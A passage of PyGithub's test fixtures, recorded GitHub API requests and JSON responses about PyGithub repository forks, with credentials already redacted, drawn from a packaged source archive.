('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '35F2:4F41:441FFA5:511AEC0:5D49642E')] {"id":197130728,"node_id":"MDEwOlJlcG9zaXRvcnkxOTcxMzA3Mjg=","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"korfuri","id":29245119,"node_id":"MDQ6VXNlcjI5MjQ1MTE5","avatar_url":"https://avatars3.githubusercontent.com/u/29245119?v=4","gravatar_id":"","url":"https://api.github.com/users/korfuri","html_url":"https://github.com/korfuri","followers_url":"https://api.github.com/users/korfuri/followers","following_url":"https://api.github.com/users/korfuri/following{/other_user}","gists_url":"https://api.github.com/users/korfuri/gists{/gist_id}","starred_url":"https://api.github.com/users/korfuri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/korfuri/subscriptions","organizations_url":"https://api.github.com/users/korfuri/orgs","repos_url":"https://api.github.com/users/korfuri/repos","events_url":"https://api.github.com/users/korfuri/events{/privacy}","received_events_url":"https://api.github.com/users/korfuri/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2019-07-16T06:05:51Z","updated_at":"2019-08-06T10:07:25Z","pushed_at":"2019-08-06T10:07:21Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11917,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-08-06T05:16:13Z","pushed_at":"2019-08-06T10:07:24Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2735,"watchers_count":2735,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":939,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":68,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":939,"open_issues":68,"watchers":2735,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-08-06T05:16:13Z","pushed_at":"2019-08-06T10:07:24Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2735,"watchers_count":2735,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":939,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":68,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":939,"open_issues":68,"watchers":2735,"default_branch":"master"},"network_count":939,"subscribers_count":0} https GET api.github.com None /repos/PyGithub/PyGithub/vulnerability-alerts {'Accept': 'application/vnd.github.dorian-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Date', 'Tue, 06 Aug 2019 11:27:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4733'), ('X-RateLimit-Reset', '1565093788'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, read:packages, repo, user, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.dorian-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '168D:54A2:4278ED2:4F280D4:5D49642F')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/repos/#enable-vulnerability-alerts"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/LazyRepository.testOwner.txt0000644000175100001660000007273314756101563023743 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '13643'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'dc1ce2bfb41810a06c705e83b388572d'), ('x-oauth-scopes', 'gist, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"4a598c12d70d21ed45f8cc87ca10c0ef"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4959'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '6CE875F7:1E66:6831F8:5514C7D8'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Fri, 27 Mar 2015 02:56:43 GMT'), ('date', 'Fri, 27 Mar 2015 03:00:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1427427963')] {"id":32964720,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"korfuri","id":1124263,"avatar_url":"https://avatars.githubusercontent.com/u/1124263?v=3","gravatar_id":"","url":"https://api.github.com/users/korfuri","html_url":"https://github.com/korfuri","followers_url":"https://api.github.com/users/korfuri/followers","following_url":"https://api.github.com/users/korfuri/following{/other_user}","gists_url":"https://api.github.com/users/korfuri/gists{/gist_id}","starred_url":"https://api.github.com/users/korfuri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/korfuri/subscriptions","organizations_url":"https://api.github.com/users/korfuri/orgs","repos_url":"https://api.github.com/users/korfuri/repos","events_url":"https://api.github.com/users/korfuri/events{/privacy}","received_events_url":"https://api.github.com/users/korfuri/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2015-03-27T02:56:40Z","updated_at":"2015-03-27T02:56:43Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"parent":{"id":32905113,"name":"PyGithub","full_name":"Jucyio/PyGithub","owner":{"login":"Jucyio","id":11623651,"avatar_url":"https://avatars.githubusercontent.com/u/11623651?v=3","gravatar_id":"","url":"https://api.github.com/users/Jucyio","html_url":"https://github.com/Jucyio","followers_url":"https://api.github.com/users/Jucyio/followers","following_url":"https://api.github.com/users/Jucyio/following{/other_user}","gists_url":"https://api.github.com/users/Jucyio/gists{/gist_id}","starred_url":"https://api.github.com/users/Jucyio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Jucyio/subscriptions","organizations_url":"https://api.github.com/users/Jucyio/orgs","repos_url":"https://api.github.com/users/Jucyio/repos","events_url":"https://api.github.com/users/Jucyio/events{/privacy}","received_events_url":"https://api.github.com/users/Jucyio/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/Jucyio/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Jucyio/PyGithub","forks_url":"https://api.github.com/repos/Jucyio/PyGithub/forks","keys_url":"https://api.github.com/repos/Jucyio/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Jucyio/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Jucyio/PyGithub/teams","hooks_url":"https://api.github.com/repos/Jucyio/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Jucyio/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Jucyio/PyGithub/events","assignees_url":"https://api.github.com/repos/Jucyio/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Jucyio/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Jucyio/PyGithub/tags","blobs_url":"https://api.github.com/repos/Jucyio/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Jucyio/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Jucyio/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Jucyio/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Jucyio/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Jucyio/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Jucyio/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Jucyio/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Jucyio/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Jucyio/PyGithub/subscription","commits_url":"https://api.github.com/repos/Jucyio/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Jucyio/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Jucyio/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Jucyio/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Jucyio/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Jucyio/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Jucyio/PyGithub/merges","archive_url":"https://api.github.com/repos/Jucyio/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Jucyio/PyGithub/downloads","issues_url":"https://api.github.com/repos/Jucyio/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Jucyio/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Jucyio/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Jucyio/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Jucyio/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Jucyio/PyGithub/releases{/id}","created_at":"2015-03-26T03:17:03Z","updated_at":"2015-03-26T03:17:05Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/Jucyio/PyGithub.git","ssh_url":"git@github.com:Jucyio/PyGithub.git","clone_url":"https://github.com/Jucyio/PyGithub.git","svn_url":"https://github.com/Jucyio/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":1,"mirror_url":null,"open_issues_count":0,"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https: